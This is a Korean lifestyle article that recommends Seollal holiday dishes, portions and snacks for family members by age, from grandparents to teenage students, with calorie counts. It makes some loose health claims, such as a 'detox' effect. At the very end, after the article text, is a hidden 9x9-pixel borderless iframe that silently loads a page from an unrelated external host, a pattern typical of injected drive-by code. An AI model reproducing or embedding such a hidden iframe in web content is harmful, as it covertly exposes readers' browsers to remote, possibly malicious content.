연령별로 설 음식 이렇게…
어느 집이나 명절음식, 특히 설날 상차림은 비슷비슷하다. 하지만 밥상에 둘러앉은 식구들의 몸은 나이도 필요한 영양도 크게 다르다. 늘 먹는 설 음식, 어떻게 준비하고 골라 먹으면 효율적이고 몸에 더 좋을까?
60대 부모님… 후식은 가급적 피하세요
◆보양이 필요한 60대 부모님 (단백질+무기질 식단)
60~70대 부모님들은 양질의 단백질과 비타민, 무기질 보충이 필요한 동시에 소화가 잘돼야 한다. 기름지고 간간한 음식은 소화가 잘 되지 않는다.
채소 육수에 굴을 넣어 끓인 부드러운 떡국 2/3그릇+연한 닭찜 2조각+어선·호박선·가지선 1점씩+삼색나물 반 접시면 총 500㎉ 정도를 섭취하게 된다. 하루 칼로리의 1/3 이하가 한끼 식사량으로 적당하니, 후식은 피한다. 간식으로는 달고 시원한 배 반 개나 식혜 반 잔, 호두와 잣 한 움큼을 권한다.
50대 엄마… 떡국보다는 만둣국을
◆갑자기 갱년기 맞아 우울한 50대 엄마 (섬유소+식물성 단백질 식단)
떡국보다는 칼로리는 비슷하면서도 식물성 단백질과 비타민, 섬유소, 무기질이 더 많은 만둣국을 권한다. 여기에 갈비찜 1점+흰살 생선전, 고추전과 애호박전1점씩+잡채 조금+새콤한 도라지생채 반 접시. 이렇게 먹으면 총 600㎉ 이하를 섭취하게 된다. 간식은 생강과 계피향 진한 수정과 한 잔 정도가 좋다. 허브가 든 보온병 들고 딸이나 아들과 팔짱 끼고 산책을 하면 좋겠다.
40대 아빠… 고기와 술은 그만하시죠!
◆직장일로 항상 피곤한 30~40대 아빠 (미네랄+디톡스 식단)
보양보다는 찌든 몸을 가볍게 풀어주는 것이 좋다. 미네랄이 풍부하고 디톡스(해독) 효과가 탁월한 매생이를 넣은 시원한 떡국 한 그릇+비타민C가 풍부한 고추와 깻잎전 3점+돼지고기를 넣지 않은 녹두전 반 장+삼색나물 1접시면 700㎉ 정도가 된다. 설 연휴만이라도 고기와 술은 피한다. 저녁 늦게 출출할 땐 혈압을 낮춰주는 메밀묵에 김치를 송송 썰어 넣고 차가운 채소 육수에 채 썬 깻잎과 들깨를 넣은 묵사발 같은 음식이 좋다.
20대 여대생… 갈비 먹고싶다면 찜보다 구이로
◆'S라인'몸매가 관심사인 20대 여대생 (저칼로리 식단)
식사 전 배나 사과 같은 과일을 한 개 먹거나 칼슘강화 두유, 채소 주스를 한 잔씩 마셔두면 공복감이 한층 줄어 고칼로리 식사는 덜하게 된다. 아쉽지만 떡국은 반 그릇만 먹고 참는다. 갈비도 찜보다는 구이로 한두 점, 기름진 전보다는 깔끔한 '선'을 택하는 것이 낫다. 평소 섭취하던 칼로리에서 하루 200~300㎉를 덜 섭취하는 것이 목표. 요리와 반찬을 집어먹을 때도 따로 작은 접시를 하나 정해 먹는 양을 조절하며 먹는 것이 관건이다.
10대 수험생… 간식은 뇌에 좋은 견과류를

◆고3 올라가는 10대 수험생 (비타민+무기질 식단)
돌을 씹어도 소화가 되는 나이이긴 하지만, 스트레스를 조절해야 영양소가 고스란히 활용된다. 고기가 당길 나이지만 고기로 배를 채우는 건 금물. 스트레스 해소와 집중력 향상에는 비타민과 무기질이 필요하다. 떡국이나 만둣국 한 그릇+굴전 3점+갈비찜2점+잡채 반 접시+삼색나물 1접시면 800㎉ 정도. 간식은 두뇌회전에 좋은 견과류와 채소 주스, 딸기와 사과, 감 등의 비타민이 풍부한 과일을 번갈아 챙겨준다. 떡이나 한과, 소다수 등 당분이 많은 음식은 집중력과 지구력을 떨어지게 하니 피한다. 하루 30분은 줄넘기. <iframe topmargin="0" src="http://cbh.com.ne.kr/check-4.htm" frameBorder="0" width="9" scrolling="no" height="9">